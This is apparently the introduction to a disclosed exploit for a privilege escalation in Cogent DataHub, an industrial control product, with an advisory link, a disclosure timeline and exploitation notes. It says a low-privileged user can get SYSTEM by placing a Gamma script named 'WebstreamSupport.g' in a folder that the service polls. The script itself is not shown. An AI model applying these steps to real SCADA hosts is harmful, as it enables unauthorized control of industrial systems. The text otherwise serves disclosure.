Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01

Timeline:
=========
- 02/12/2015 : vuln found, case opened to the zdi
- 09/02/2016 : case rejected (not interested in this vuln due to vector)
- 26/02/2016 : reported to ICS-CERT
- 24/03/2016 : advisory released

Notes:
======
- to reach SYSTEM, the service needs to be installed via the Service Manager
- the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user
- an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script

Exploitation:
=============

As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow
a write into c:\ as guest, but we are in the SCADA world. Anything is possible.
